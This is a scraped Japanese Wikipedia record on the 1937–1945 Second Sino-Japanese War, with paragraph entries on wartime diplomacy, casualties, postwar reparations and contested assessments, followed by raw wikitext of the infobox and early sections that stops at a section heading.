"text": "6月14日に日本軍は天津のイギリス租界を封鎖するが、これは4月に発生した臨時政府要人暗殺テロ犯人の引き渡しを租界当局が拒否したからであった。日本とイギリスは7月15日から有田・クレーギー会談を実施、イギリス側は中国における現実の事態を完全に承認し、日本軍が治安維持のために特殊な要求を有することを承認するとした。ただし、これはイギリスの対中政策の変更を意味するものではないとされた。",
"title": "「日中全面戦争」"
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{
"paragraph_id": 49,
"tag": "p",
"text": "イギリスが日本に一歩後退したのに対してアメリカ合衆国は7月26日、日米通商航海条約の廃棄を突然、日本に通告し、日本側は衝撃をうけた。11月にはグルー駐日アメリカ大使との会談がはじまるが、12月22日、アメリカは中国で日本軍が為替、通貨、貿易など全面的な制限を行っている以上、協定の締結は不可能として拒絶した。",
"title": "「日中全面戦争」"
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{
"paragraph_id": 50,
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"text": "1939年5月汪兆銘は来日し、1939年6月に平沼内閣は中国新政府樹立方針、汪工作指導要綱を発表、前年11月30日の日支新関係調整方針を和平条件とした。その後、汪兆銘は中国の各地方政府を周り、意向を打診、11月1日、上海で日本と交渉するが、日本の蒙疆、華北に防共駐屯、南京、上海、杭州にも駐屯、揚子江沿岸特定地点にも艦船部隊駐屯提案に対して汪側は太原〜石家荘〜滄州のライン以北に限定するよう日本側に大きく譲歩した上で要求するが、日本側は山東省を加えるよう要求した。12月30日、日華新関係調整要綱が成立。",
"title": "「日中全面戦争」"
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{
"paragraph_id": 51,
"tag": "p",
"text": "1940年(昭和15年)1月、阿部内閣から米内内閣に変わった。 1月6日、汪兆銘の腹心高宗武らが上海を脱出し、香港で日本の講和条件を暴露し、汪兆銘は傀儡と訴えた。これによって蔣介石の支持層が拡大した。",
"title": "「日中全面戦争」"
},
{
"paragraph_id": 52,
"tag": "p",
"text": "1940年5月・6月のドイツ軍による西ヨーロッパの席捲を進撃を背景に日本政府は6月24日、英仏にビルマルートおよび香港経由による援蔣行為の停止を要求した。",
"title": "「日中全面戦争」"
},
{
"paragraph_id": 53,
"tag": "p",
"text": "5月18日より、日本軍、漢口、運城基地から重慶、成都を空襲する一〇一号作戦が10月26日まで実施された。6月12日には宜昌占領。6月24日から6月29日までは連続して猛爆が行われた 。",
"title": "「日中全面戦争」"
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{
"paragraph_id": 54,
"tag": "p",
"text": "7月18日、英国、日本の要求に応じ援蔣ルート(ビルマルート)を閉鎖。 7月26日、基本国策要綱で「皇国の国是は八紘を一宇とする肇国の大精神」が唱えられた。7月27日の大本営では南方問題解決のため武力を用いることが決定された。8月1日、松岡外相は日本満洲シナを一環とする大東亜共栄圏確立という外交方針を発表した。",
"title": "「日中全面戦争」"
},
{
"paragraph_id": 55,
"tag": "p",
"text": "1941年4月中旬より、重慶工作の道がないため、日米交渉が開始された。日本は三国同盟3条の日本に参戦義務についてと、アメリカ仲介による日中戦争(支那事変)の解決を要望したが、アメリカは門戸開放、機会均等の無条件適用を提示した。",
"title": "大東亜戦争(太平洋戦争)下の中国戦線"
},
{
"paragraph_id": 56,
"tag": "p",
"text": "6月22日、独ソ戦がはじまると、松岡外相は即時対ソ参戦を上奏したが、7月2日の御前会議は独ソ戦不介入を決定、南方進出を強化し、対英米戦を辞せずと決定した。7月7日 - 関東軍特種演習(関東軍、対ソ戦を準備するが8月に断念)。7月10日、アメリカ対案に対して外務省顧問斉藤良衛は、南京政府の取り消し、満洲の中国への返還、日本軍の無条件撤兵などを意味していると解釈、松岡外相もこれに賛同した。7月28日、日本軍、南部仏印進駐を実施、英米は日本資産を凍結した。8月1日 - 米国、対日輸出を大幅に制限。",
"title": "大東亜戦争(太平洋戦争)下の中国戦線"
},
{
"paragraph_id": 57,
"tag": "p",
"text": "1942年(昭和17年)1月1日、蔣介石は日本は一時の興奮を得るが、結局は自滅すると語った。",
"title": "大東亜戦争(太平洋戦争)下の中国戦線"
},
{
"paragraph_id": 58,
"tag": "p",
"text": "日本軍、4月19日に鄭州を占領、5月25日には 洛陽を占領。京漢作戦が成功。",
"title": "大東亜戦争(太平洋戦争)下の中国戦線"
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{
"paragraph_id": 59,
"tag": "p",
"text": "中国国民革命軍・中国共産党軍軍装・装備・兵力",
"title": "参戦勢力の概要"
},
{
"paragraph_id": 60,
"tag": "p",
"text": "日中戦争(支那事変)期間中に国民政府が徴発した兵士の総数は約1405万人である。動員を可能にすべく1936年から開始された義務兵役制度は、容易に軌道に乗ることはなく、当初は、名は徴兵であるが、実際は募兵と拉致であったとされる。拉致被害者で目立つのは、他地域の住民や旅行中の行商人、糧食などの運搬労働者であり、博徒や乞食なども含まれていた。",
"title": "参戦勢力の概要"
},
{
"paragraph_id": 61,
"tag": "p",
"text": "上記の表で中国側の犠牲者が132万とあるが、この数字は中国国民革命軍のみの数である。当時の中国大陸では、日本軍・南京中華民国政府軍・蔣介石国民革命軍・共産党軍(現:中国人民解放軍の前身)・その他馬賊や抗日武装勢力など複数の勢力が、割拠する地域で、日中戦争(支那事変)中には主に2つの勢力に分かれて戦争を行っていた。また国共内戦は国共合作以降も断続しており、第二次世界大戦後には再開している。中国の民衆は戦争に翻弄され、農業や商業、工業、運輸などの生活基盤を破壊されると共に各勢力の戦闘やゲリラ戦に巻き込まれ命を落としたり、戦闘継続の中、日本軍のみならず自国民たる各勢力に食糧を徴発されたことや焦土作戦の影響で飢餓に陥る人も大勢いた。また日本人をはじめ在留外国人も戦闘に巻き込まれた。(中国空軍の上海爆撃 (1937年)を参照)。 以下、各犠牲者数について注釈する。",
"title": "被害"
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{
"paragraph_id": 62,
"tag": "p",
"text": "太平洋戦争(大東亜戦争)および日中戦争(支那事変)の終結前後に、蔣介石率いる中国国民革命軍と毛沢東率いる中国共産党軍の間で国共内戦の再開が中国国内で懸念されると同時に1945年9月からは上党戦役など内戦がはじまった。アメリカも中国内戦を阻止するために介入し、重慶会談をはじめ様々な交渉が持たれるが、1946年6月に、蔣介石率いる国民革命軍が全面侵攻命令を発した。1949年から1950年にかけて、中国共産党軍が国民党軍を破り、蔣介石らは台湾へ逃れ、中華人民共和国が成立した。",
"title": "国共内戦"
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{
"paragraph_id": 63,
"tag": "p",
"text": "国民党の蔣介石は「徳を以て怨みに報いる」として、終戦直後の日本人居留民らに対して報復的な態度を禁じたうえで送還政策をとった。 日本降伏と日本軍武装解除後に開始された国共内戦時には、中国大陸に残留して八路軍への入隊を希望する日本軍人も少なくなかった。当時の八路軍はその軍紀(三大紀律八項注意)遵守が評判になっており、また日本人捕虜を厚遇して寛大に扱っていたという伝聞もあったので、八路軍に好意的な感情を持つ日本軍将兵も少なからずいた。支那派遣軍勤務だった昭和天皇の弟三笠宮崇仁親王も八路軍の軍紀に魅了されていた。これはソ連の赤軍との大きな違いであった。特殊技能を持つ日本軍将兵(航空機・戦車等の機動兵器、医療関係)の中には長期の残留を求められて帰国が遅れた者もいた(気象台勤務であった作家の新田次郎など)。また、聶栄臻のように戦災で親を亡くした日本人の姉妹に自ら直筆の手紙を持たせて日本へと送るよう配慮した人物もいた。",
"title": "残留日本兵と残留日本人"
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{
"paragraph_id": 64,
"tag": "p",
"text": "終戦後、日本はポツダム宣言により連合軍に占領される事となった。それに関し当初は日本と交戦した主要な連合国であるアメリカ・イギリス・中国・ソ連によって分割統治されるとされていた。その中で四国は日中戦争(支那事変)で戦った国民革命軍の統治領域とされ、三重県を除く近畿地方と福井県は中国とアメリカの共同統治、そして東京都区部は上記4か国の共同統治とする計画であった。しかし後に中国国内で政権を持っていた国民党とゲリラ戦を展開していた共産党の間で国共内戦が勃発した事で中国軍は日本占領どころではなくなり計画は破綻。日本は事実上アメリカ軍による単独占領となり、中国やソ連、フランス、オランダなどその他の連合国は日本に駐在武官を派遣するにとどまった。なお、当初の日本分割占領計画が決定され、中国が四国を統治することが決まった時には多くの中国兵たちがこれを喜び、日本に上陸したときにどうするかを話し合ったという。",
"title": "戦後処理と戦争賠償"
},
{
"paragraph_id": 65,
"tag": "p",
"text": "朝鮮戦争中の1951年9月8日にサンフランシスコで調印された日本国との平和条約(サンフランシスコ平和条約)で連合国は全ての賠償請求権を放棄するとされた。しかし、国共内戦の敗北によって蔣介石ら中華民国国民党は1949年12月に台湾に移転し、同時に中国共産党が中華人民共和国の建国を宣言しており、二国に分かれていた両国は、アメリカが中華民国を、イギリスが中華人民共和国を別々に承認することもあって、不参加となった。また日本は平和条約にしたがって連合国に以下賠償した。",
"title": "戦後処理と戦争賠償"
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{
"paragraph_id": 66,
"tag": "p",
"text": "1945年8月5日の外務省調査では日本の在中華圏資産は、中華民国921億5500万円、満洲1465億3200万円、台湾425億4200万円で合計2812億2900万円で、これは現在の価値で56兆2458億円となる(企業物価指数戦前基準)。",
"title": "戦後処理と戦争賠償"
},
{
"paragraph_id": 67,
"tag": "p",
"text": "このように連合国国内のみならず、中国、台湾、朝鮮にあった一般国民の在外資産まで接収され、さらに中立国にあった日本国民の財産までもが賠償の原資とされた「過酷な負担の見返り」として、請求権が放棄された。",
"title": "戦後処理と戦争賠償"
},
{
"paragraph_id": 68,
"tag": "p",
"text": "サンフランシスコ平和条約締結の翌年、1952年4月28日には台北で日華平和条約が調印され、中華民国は日本への賠償請求を放棄した。交換公文では「中華民国政府の支配下に現にあり、又は今後入るすべての領域」が適用範囲とされた。",
"title": "戦後処理と戦争賠償"
},
{
"paragraph_id": 69,
"tag": "p",
"text": "1971年10月25日、国連でアルバニア決議が採択され、中華民国が中国の代表権を喪失するとともに常任理事国の地位をはく奪され、中華人民共和国が中国の代表権を得た。1972年2月にニクソン大統領の中国訪問が実現し米中が接近するのと並行して日中国交正常化も進展し、1972年9月には日中共同声明が周恩来国務院総理と田中角栄内閣総理大臣によって調印された。声明第五項では「中華人民共和国政府は、中日両国国民の友好のために、日本国に対する戦争賠償の請求を放棄することを宣言する(The Government of the People's Republic of China declares that in the interest of the friendship between the Chinese and the Japanese peoples, it renounces its demand for war reparation from Japan.)」として、中華人民共和国は対日戦争賠償請求を放棄すると宣言された。1978年8月12日には、日中共同声明を踏まえて、日中平和友好条約が締結され、第1条では「主権及び領土保全の相互尊重、相互不可侵、内政に対する相互不干渉」が、第2条ではアジア・太平洋地域他の地域で覇権を求めないと規定された。なお1979年には米中が国交正常化した。",
"title": "戦後処理と戦争賠償"
},
{
"paragraph_id": 70,
"tag": "p",
"text": "日本は中華人民共和国に対し政府開発援助(ODA)を実施し、1979年から2013年度までに有償資金協力(円借款)約3兆3,164億円、無償資金協力を1,572億円、技術協力を1,817億円、総額約3兆6,553億円のODAを実施した。廃止の方向にあるODAに変わって、財務省影響下のアジア開発銀行が肩代わりして迂回融資を行い、1年あたりの援助金額は円借款の2倍であり、アジア開発銀行から中国への援助総額は日本円で2兆8000億円に上っており、「日本の対中国ODAは3兆円ではなく6兆円。3兆円は日本政府から中国政府に直接援助した金額。アジア開発銀行等の迂回融資分をあわせると6兆円」という主張がある。",
"title": "戦後処理と戦争賠償"
},
{
"paragraph_id": 71,
"tag": "p",
"text": "日本政府はこれら三つの条約および声明(サンフランシスコ平和条約第14条b、日華平和条約第11条、日中共同声明第5項)によって、日中間における請求権は、個人の請求権の問題も含めて消滅したと認識している。江沢民も1992年4月1日、日本の侵略戦争については真実を求めて厳粛に対処するが、日中共同声明の立場は変わらないと発言している。",
"title": "戦後処理と戦争賠償"
},
{
"paragraph_id": 72,
"tag": "p",
"text": "また華人労務者への個人賠償が争われた西松建設会社事件での最高裁判決(2007年4月27日)では、サンフランシスコ平和条約は、個人の請求権を含めて、戦争中に生じたすべての請求権を放棄した。また日中共同声明も同様であるとされた。また、重慶爆撃訴訟の東京地裁判決(2015年2月25日)では、国際法の法主体は国家であって個人ではない。また国家でさえ、戦争被害については、国家責任を規定する国際法だけでは賠償を受けることができず、賠償に関する国家間の外交交渉によって合意される必要があるとし、個人の戦争被害については国家間での処理が原則とした。またハーグ陸戦条約第3条も国家間の賠償責任を規定するもので、個人に賠償請求権を付与するものではない、と判決した。",
"title": "戦後処理と戦争賠償"
},
{
"paragraph_id": 73,
"tag": "p",
"text": "当時関東軍参謀だった瀬島龍三は、「満洲を建国したことで朝鮮半島が安定したが、満洲国が建国したばかりで不安定だったことから満洲の安定を図るために満洲と中国の国境ラインに軍隊を移駐したところで中国勢力と衝突した」と戦後の談話で述べた。",
"title": "評価"
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"text": "南京戦陥落直後の1937年12月19日に読売新聞は「日本は初めこの事変をこうまで拡大する意志はなかった。支那に引張られてやむを得ず、上海から南京まで行かざるを得なかった」として、事変の序幕は西安事件で蔣介石が共産党と妥協させられてからで、それ以降は「共産党戦術」が著しく、「支那と日本と大戦争をやらすのが共産党の利益であると打算しているようであった」と報道した。",
"title": "評価"
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"text": "また同月に報知新聞も西安事件以来南京政府は大きく変化し、「政治的には国共合作後の共産党的圧力、経済的には在支権益を確保せんとするイギリス資本の掩護、思想的にはソヴィエト流の抗日救国の情熱、それ等が決河の勢いをなして北支に逆流し、ついには上海における計画的挑戦の暴露となり、戦局の急速なる拡大となってしまった 」とし、「今度の事変が決して支那と日本との問題でなく実に支那を舞台とするイギリスとソヴィエトの動きを除いては事変そのものすら考え得られないということも次第に明かとなり、東洋における防共と反英運動とが新らしい政治的課題として登場して来た」と回顧した。また、イギリスは表面は不干渉を表明したが、南京政府への支援を続け、さらに米国を巻き込むことに成功したと報じた。",
"title": "評価"
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"text": "田母神俊雄(当時航空幕僚長)は、日本は国際法上合法的に中国大陸に権益を得て比較的穏健な内地化を進めようとしていたが、コミンテルンの工作によって蔣介石の国民党や中国共産党からの度重なるテロ行為に干渉され、またベノナファイルで明かになったように中国と同じくコミンテルンの工作を受けたアメリカに介入され、結果的に日中戦争(支那事変)に引きずり込まれることとなったと論じた。しかし、政府と防衛省幹部が内容に問題にあるとして田母神は浜田靖一防衛大臣から更迭された(田母神論文問題)。小堀桂一郎、中西輝政、西尾幹二などは田母神論文の内容を支持し、森本敏、小林節、纐纈厚、笠原十九司、水島朝穂らは論文を批判した。",
"title": "評価"
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]
| 日中戦争は、1937年(昭和12年)7月7日から1945年(昭和20年)8月15日まで、大日本帝国と蔣介石率いる中華民国国民政府の間で行われた戦争である。支那事変(しなじへん)、日華事変(にっかじへん)、日支事変(にっしじへん)とも呼ばれる。 | {{告知|議論|交戦勢力はどこか}}
{{未検証|date=2019年4月}}
{{複数の問題|脚注の不足=2022年8月|未検証=2019年4月|独自研究=2022年8月}}
{{Battlebox
| battle_name = 日中戦争
| campaign = 日中戦争
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| image = [[File:Second Sino-Japanese War collection.png|300px]]
| caption = 左上から時計回りに[[第二次上海事変]]での[[ガスマスク]]を装着した[[大日本帝国海軍|日本海軍]]の[[上海海軍特別陸戦隊|上海特別陸戦隊]]、[[大陸打通作戦]]での[[大日本帝国陸軍]]の部隊、[[南京事件]]の被害者とされる写真、[[武漢作戦]]での[[国民革命軍|中国軍]]の部隊、[[重慶爆撃]]を行う日本陸軍の[[九七式重爆撃機]]、[[ビルマの戦い]]での中国軍の行進。
| conflict = 日中戦争([[1941年]][[12月8日]]より[[太平洋戦争|大東亜戦争]]の一部となる。)<ref name="kotobank">{{Cite web|和書|url=https://kotobank.jp/word/%E6%97%A5%E4%B8%AD%E6%88%A6%E4%BA%89-171498 |title=日中戦争 |publisher=[[コトバンク]] |accessdate=2023-04-06}}</ref>
| date = [[1937年]][[7月7日]] - [[1945年]][[8月15日]]{{R|"kotobank"}}
| place = [[中華民国 (1912年-1949年)|中国]]、[[イギリス統治下のビルマ|英領ビルマ]]など{{R|"kotobank"}}。
| result = 中国側の勝利、[[日本の降伏]]{{R|"kotobank"}}。
| combatant1 = {{JPN1889}}<br/>{{MCK}}<br/>{{MJG}}<br/>{{CHN1940}}
| combatant2 = {{CHN1928}}
*[[File:Naval Jack of the Republic of China.svg|22px|border|link=]] [[中国国民党]]
*[[File:Flag_of_the_Chinese_Communist_Party_(Pre-1996).svg|22px|border|link=]] [[中国共産党]]
**{{SGN}}
<hr>{{USA1912}}<br/>{{SSR1923}}(1937-1941,1945)<br/>{{GBR5}}<br/>{{DEU1935}}(1937-1938)
| commander1 = {{Flagicon|JPN1889}} [[近衛文麿]]<br/>{{Flagicon|JPN1889}} [[平沼騏一郎]]<br/>{{Flagicon|JPN1889}} [[阿部信行]]<br/>{{Flagicon|JPN1889}} [[米内光政]]<br/>{{Flagicon|JPN1889}} [[東條英機]]<br/>{{Flagicon|JPN1889}} [[小磯國昭]]<br/>{{Flagicon|JPN1889}} [[鈴木貫太郎]]<br/>{{Flagicon|JPN1889}} [[香月清司]]<br/>{{Flagicon|JPN1889}} [[松井石根]]<br/>{{Flagicon|JPN1889}} [[朝香宮鳩彦王]]<br/>{{Flagicon|JPN1889}} [[寺内寿一]]<br/>{{Flagicon|JPN1889}} [[杉山元]]<br/>{{Flagicon|JPN1889}} [[西尾寿造]]<br/>{{Flagicon|JPN1889}} [[畑俊六]]<br/>{{Flagicon|JPN1889}} [[岡村寧次]]<br/>{{Flagicon|JPN1889}} [[多田駿]]<br/>{{Flagicon|JPN1889}} [[岡部直三郎]]<br/>{{Flagicon|JPN1889}} [[下村定]]<br/>{{Flagicon|JPN1889}} [[山田乙三]]<br/>{{Flagicon|JPN1889}} [[安藤利吉]]<br/>{{Flagicon|JPN1889}} [[後宮淳]]<br/>{{Flagicon|MCK}} [[愛新覚羅溥儀]]<br/>{{Flagicon|MCK}} [[張景恵]]<br/>{{Flagicon|MJG}} [[デムチュクドンロブ]]<br/>{{Flagicon|MJG}} [[李守信]]<br/>{{Flagicon|CHN1940}} [[汪兆銘]]<br/>{{Flagicon|CHN1940}} [[陳公博]]<br/>{{Flagicon|CHN1940}} [[周仏海]]
| commander2 = {{Flagicon|CHN1928}} [[蔣介石]]<br/>{{Flagicon|CHN1928}} [[宋美齢]]<br/>{{Flagicon|CHN1928}} [[何応欽]]<br/>{{Flagicon|CHN1928}} [[白崇禧]]<br/>{{Flagicon|CHN1928}} [[徐永昌]]<br/>{{Flagicon|CHN1928}} [[陳誠]]<br/>{{Flagicon|CHN1928}} [[程潜]]<br/>{{Flagicon|CHN1928}} [[閻錫山]]<br/>{{Flagicon|CHN1928}} [[馮玉祥]]<br/>{{Flagicon|CHN1928}} [[李宗仁]]<br/>{{Flagicon|CHN1928}} [[衛立煌]]<br/>{{Flagicon|CHN1928}} [[顧祝同]]<br/>{{Flagicon|CHN1928}} [[薛岳]]<br/>{{Flagicon|CHN1928}} [[胡宗南]]<br/>{{Flagicon|CHN1928}} [[劉峙]]<br/>{{Flagicon|CHN1928}} [[孫連仲]]<br/>{{Flagicon|CHN1928}} [[余漢謀]]<br/>{{Flagicon|CHN1928}} [[朱紹良]]<br/>{{Flagicon|CHN1928}} [[李品仙]]<br/>{{Flagicon|CHN1928}} [[傅作義]]<br/>{{Flagicon|CHN1928}}{{Flagicon|CPC}} [[毛沢東]]<br/>{{Flagicon|CHN1928}}{{Flagicon|CPC}} [[朱徳]]<br/>{{Flagicon|CHN1928}}{{Flagicon|CPC}} [[彭徳懐]]<br/>{{Flagicon|CHN1928}}{{Flagicon|CPC}} [[葉剣英]]<br/>{{Flagicon|USA1912}} [[フランクリン・ルーズベルト]]<br/>{{Flagicon|USA1912}}[[ハリー・S・トルーマン]]<br/>{{Flagicon|USA1912}} [[クレア・リー・シェンノート]]<br/>{{Flagicon|USA1912}}[[ジョセフ・スティルウェル]]<br/>{{Flagicon|USA1912}}[[アルバート・ウェデマイヤー]]<br/>{{Flagicon|SSR1923}} [[ヨシフ・スターリン]]<br/>{{Flagicon|SSR1923}} [[パーヴェル・ルィチャゴフ]]
| strength1 = 陸軍105万5700人<br/>海軍6万9200人<ref>{{Cite web|和書|url=https://honkawa2.sakura.ne.jp/8050.html |title=アジア各地における終戦時日本軍の兵数 |publisher=社会実情データ図録 |date=2010-08-09 |accessdate=2023-04-06}}</ref>
| strength2 = 500万人 - 数千万人<ref>{{Cite web |url=https://www.krzzjn.com/show-1725-90786.html |title=国民革命军各个时期真实的兵力有多少? |publisher=抗日战争纪念网 |date=2019-01-15 |accessdate=2023-04-06}}</ref>
| casualties1 = 約43万人[[戦死]]/約100万人負傷{{R|"kotobank"}}
| casualties2 = 300万人 - 3500万人戦死/不明(約1億人とも推測される)負傷{{R|"kotobank"}}
}}
{{wikiquote}}
{{読み仮名|'''日中戦争'''|にっちゅうせんそう}}は、[[1937年]]([[昭和]]12年)[[7月7日]]から[[1945年]](昭和20年)[[8月15日]]まで、[[大日本帝国]]と[[蔣介石]]率いる[[中華民国 (1912年-1949年)|中華民国]][[国民政府]]の間で行われた[[戦争]]である。'''[[支那事変]]'''(しなじへん)、'''日華事変'''(にっかじへん)、'''日支事変'''(にっしじへん)とも呼ばれる<ref>文部科学省公式web『学制百年史』より総説「五 戦時下の教育」(十二年の日華事変)作成:学制百年史編集委員会(登録:平成21年以前)</ref><ref group="注釈">'''日支事変''' ([[満洲事変]]と[[第一次上海事変|上海事変]]の総称として使用された例もある)や'''日華事変'''とも呼称される。</ref>{{refnest|group="注釈"|中国語圏では、'''抗日戦争'''<ref>平凡社『世界大百科事典』 (2007年版、改訂新版) 9巻、p.574 「抗日戦争」の項目より</ref>、'''八年抗戰'''、'''中日戰爭'''、'''中国抗日戦争'''、'''中国人民抗日战争'''、'''八年抗戦'''などと呼称される。}}<ref group="注釈">[[英語圏]]では、[[1894年]] - [[1895年]]の[[日清戦争]]を「Sino-Japanese War of 1894-95」、「Sino-Japanese War of 1894-1895」、「First Sino-Japanese War ("第一次支那日本戦争")」などと称し、1937年 - 1945年の日中戦争は「Sino-Japanese War of 1937-45」、「Sino-Japanese War of 1937-1945」、「Second Sino-Japanese War ("第二次支那日本戦争")」などと呼称される。</ref>。
== 呼称 ==
{{Main2|日本における呼称の変遷|支那事変}}
日本側では、紛争が勃発した当初は'''北支事変'''(ほくしじへん)と称し{{sfn|波多野澄雄|2010-01-31|p=1}}、戦線が拡大していくと、'''日華事変'''(にっかじへん)や'''日支事変'''(にっしじへん)と呼ぶようになった。
日本政府は、1937年(昭和12年)9月の[[第1次近衛内閣]]([[近衛文麿]]首相)の[[閣議 (日本)|閣議]]決定で'''支那事変'''を正式の呼称とした<ref name=kakugikettei19370902>{{Cite web|和書|date=1937-09-02 |url=https://rnavi.ndl.go.jp/politics/entry/bib00145.php |title=事変呼称ニ関スル件 |work=[[内閣官房]] |publisher=[[国立国会図書館]] |accessdate=2011-01-22 }}</ref>。
[[戦争]]でなく事変と称されたのは、[[盧溝橋事件]]後に本格的な[[戦闘]]が行われても、[[1941年]](昭和16年)12月に[[第二次世界大戦]]([[大東亜戦争]]/[[太平洋戦争]])が日英米蘭との間で勃発するまで、両国は'''[[宣戦布告]]を行わなかった'''からである。その理由として、日中両国が[[アメリカ合衆国|アメリカ]]の[[中立法]]の発動による[[経済制裁]]を回避したかったことが挙げられる。
日本側は事態の早期収拾も狙っており{{sfn|波多野澄雄|2010-01-31|p=1}}、また、戦争ともなれば天皇の許可([[勅許]])が必要になるからであった。一方中国側は、国内での近代兵器の量産体制が整わないままであることから、開戦により軍需物資の輸入に問題が生ずる懸念があった{{sfn|石川禎浩|2010|p=178}}ことに加え、[[軍閥]]や[[毛沢東]]率いる[[中国共産党]]との[[内戦]]([[国共内戦]])の行方も不透明であったことから、[[中国国民党]]の[[蒋介石]]は「安内攘外(あんないじょうがい)」政策をとり、国内の統一(中国共産党との決着)を優先すべき問題と捉えていた<ref name="AASPR_8">{{Cite web|和書|author=工藤信弥 |url=https://www.mod.go.jp/asdf/meguro/center/20_stdy/asp08/11_syoukaiseki.pdf |title=日中戦争における蒋介石の戦略形成と重心移行 |website=エア・アンド・スペース・パワー研究(第8号) |publisher=[[防衛省]] |format=PDF |accessdate=2021-08-30}}</ref>。
第二次世界大戦(大東亜戦争/太平洋戦争)が開戦すると、蔣介石の[[国民政府|重慶政府]]が英米蘭とともに日本に宣戦布告し、事変が戦争にエスカレートしたことを受け、日本側の[[東條内閣]]は10日の閣議で「今次ノ対米英戦争及今後情勢ノ推移ニ伴ヒ生起スルコトアルヘキ戦争ハ支那事変ヲモ含メ大東亜戦争ト呼称ス」ことを決定した<ref name=kakugikettei19411212>{{Cite web|和書| date = 1941-12-12| url = https://rnavi.ndl.go.jp/politics/entry/bib00362.php| title = 今次戦争ノ呼称並ニ平戦時ノ分界時期等ニ付テ| work = [[内閣官房]]| publisher = [[国立国会図書館]]| accessdate = 2011-10-15}}</ref>。
== 時期区分 ==
日中戦争(支那事変)の期間の一般的な見解は1937年(昭和12年) - 1945年(昭和20年)までであるが{{sfn|庄司潤一郎|2011|p=79}}、日本では歴史認識の違いによって「先の大戦」の呼称(大東亜戦争、[[十五年戦争]]、[[アジア・太平洋戦争]]など)が分かれており{{sfn|庄司潤一郎|2011|p=43}}、日中戦争(支那事変)の位置づけには様々な解釈がある。[[臼井勝美]]は、「前史: [[塘沽協定]]から盧溝橋事件まで、1933年6月 - 1937年7月」、「第一期: 盧溝橋事件から太平洋戦争勃発まで、1937年7月 - 1941年12月)」、「第二期: 太平洋戦争から敗北まで、1941年12月 - 1945年8月」の三期に区分している<ref name="臼井1">{{Harvnb|臼井勝美|2000|p=1}}</ref>。[[小林英夫 (経済学者)|小林英夫]]は、「前史 [[満洲事変]]から盧溝橋事件勃発前まで」、「第一期 盧溝橋事件から[[武漢作戦]]まで」、「第二期 武漢作戦から太平洋戦争勃発まで」、「第三期 太平洋戦争勃発から終戦まで」の四期に区分している<ref name="小林7">小林英夫『日中戦争-殲滅戦から消耗戦へ <講談社現代新書 1900>』講談社、2007年7月20日、ISBN 978-4-06-287900-2、7頁。</ref>。
[[中華人民共和国]]政府・中国共産党の公式な見解は、[[1935年]]の抗日人民宣言から始まり、1937年の盧溝橋事件(七七事変)からとされていたが、[[2017年]]1月[[中華人民共和国教育部|中国教育省]]は中国の教科書で使われている「日本の[[侵略戦争|侵略]]に対する中国人民の8年間の抗戦」という表現を、日中戦争(支那事変)の始まりを[[1931年]]の「[[柳条湖事件]]」まで6年遡らせて「14年間の抗戦」に改めると発表した<ref>[https://newsphere.jp/world-report/20170112-1/ 中国、抗日戦争14年間に教科書修正 海外から“歴史改ざん”の指摘] NewSphere 2017-1-12</ref>。
== 前史 ==
=== 「安内攘外」と「和協外交」 ===
[[1931年]](昭和6年)[[9月18日]]の[[柳条湖事件]]に端を発する[[満洲事変]]は、[[1932年]](昭和7年)[[3月1日]]の[[満洲国]]の樹立を経て、[[熱河作戦]]終結時の1933年(昭和8年)5月31日に締結された[[塘沽協定]]により一応終結した。同協定で、長城線以南に非武装地帯が設定され、大日本帝国は[[華北|北支]]五省の独立自治運動の拠点を獲得し、[[満洲国]]は中華民国により黙認された。国民党は、[[汪兆銘]]の両国の関係改善の希望もあり、先ず共産党に対する囲剿戦に全力を傾け、国内を統一してから日本と戦う「安内攘外」を基本方針に採用した。[[広田弘毅]]外相は「和協外交」を提唱し、排日・排日貨運動も沈静化し、両国は公使館を大使館に昇格させた<ref name="今井98-99">[[今井武夫]]「日華事変」[[フランク・ギブニー|フランク・B・ギブニー]]編『ブリタニカ国際大百科事典 15』1974年10月1日 初版発行、98~99頁。</ref><ref name="波多野115-116">波多野「日中戦争」フランク・B・ギブニー編『ブリタニカ国際大百科事典 14』1995年7月1日 第3版初版発行、115~116頁。</ref>。
=== 北支自治運動―華北分離工作 ===
[[支那駐屯軍]]や[[関東軍]]など日本現地軍は、[[1935年]](昭和10年)5月2日深夜の天津日本租界事件を契機に、[[河北省 (中華民国)|河北省]]と[[察哈爾省]]から国民党の排除を図り、6月、所謂[[梅津・何応欽協定]]を締結し、[[藍衣社]]の北支からの撤退、河北省主席[[于学忠]]の罷免などを実現させた。国民政府は、「邦交敦睦令」を発し排日行為を禁止した。その後、現地日本軍は、二十九軍が日本人を拘禁した{{仮リンク|張北事件|zh|張北事件}}などを理由に、[[土肥原・秦徳純協定]]を締結し、察哈爾省東北部の二十九軍を河北省に移駐させることを了承させた<ref name="今井98-99"/><ref name="波多野115-116"/>。そして、旧軍閥で二十九軍長[[宋哲元]] を中心に北支五省に独立政権を樹立させ、国民政府から分離させるため「北支自治運動」を展開した。11月25日、非武装地帯に[[殷汝耕]]を委員長とする[[冀東防共自治政府#冀東の防共自治へ|冀東防共自治委員会]]を設立させ、宋哲元を中心にして「北支自治政権」を設立させて殷汝耕を合流させる計画を立てた。しかし、国民政府は、宋哲元を冀察綏靖主任兼河北省主席に任命し、12月18日に[[冀察政務委員会]]を設置し、自治独立運動の阻止に一応成功した。このため、12月25日、日本現地軍は、冀東の冀察への合流を放棄して[[冀東防共自治政府]]を成立させた<ref name="今井98-99"/><ref name="波多野115-116"/>。
===「内戦停止、一致抗戦」===
<!--1935年11月9日の上海の[[中山水兵射殺事件]]、[[上海邦人商人射殺事件|萱生事件]]--->1935年12月、中華民国では自治政権反対の[[一二・九運動]]を契機に「内戦停止、一致抗戦」の機運が拡大した。[[長征]]の途上にあった共産軍は、[[八・一宣言]]を出して「抗日救国」、「反蔣抗日」の統一戦線を呼び掛け、[[陝西省]][[延安市|延安]]に根拠地建設を開始し、1936年(昭和11年)2月から3月、「抗日実践」を示すため、[[彭徳懐]]と[[林彪]]が指揮する共産軍2万が[[山西省 (中華民国)|山西省]]に侵入した。共産軍は[[閻錫山]]の軍と蔣介石の増援により敗退し、[[周恩来]]と会談した[[張学良]]の説得により「反蔣抗日」から「逼蔣抗日」への転換を受け入れ、五・五通電を発し「停戰議和一致抗日」を訴えた。一方、4月18日、共産軍の侵攻を契機に[[廣田内閣]]([[広田弘毅]]首相)は支那駐屯軍を増強した<ref name="今井98-99"/><ref name="波多野115-116"/>。
=== 川越茂・張群会談 ===
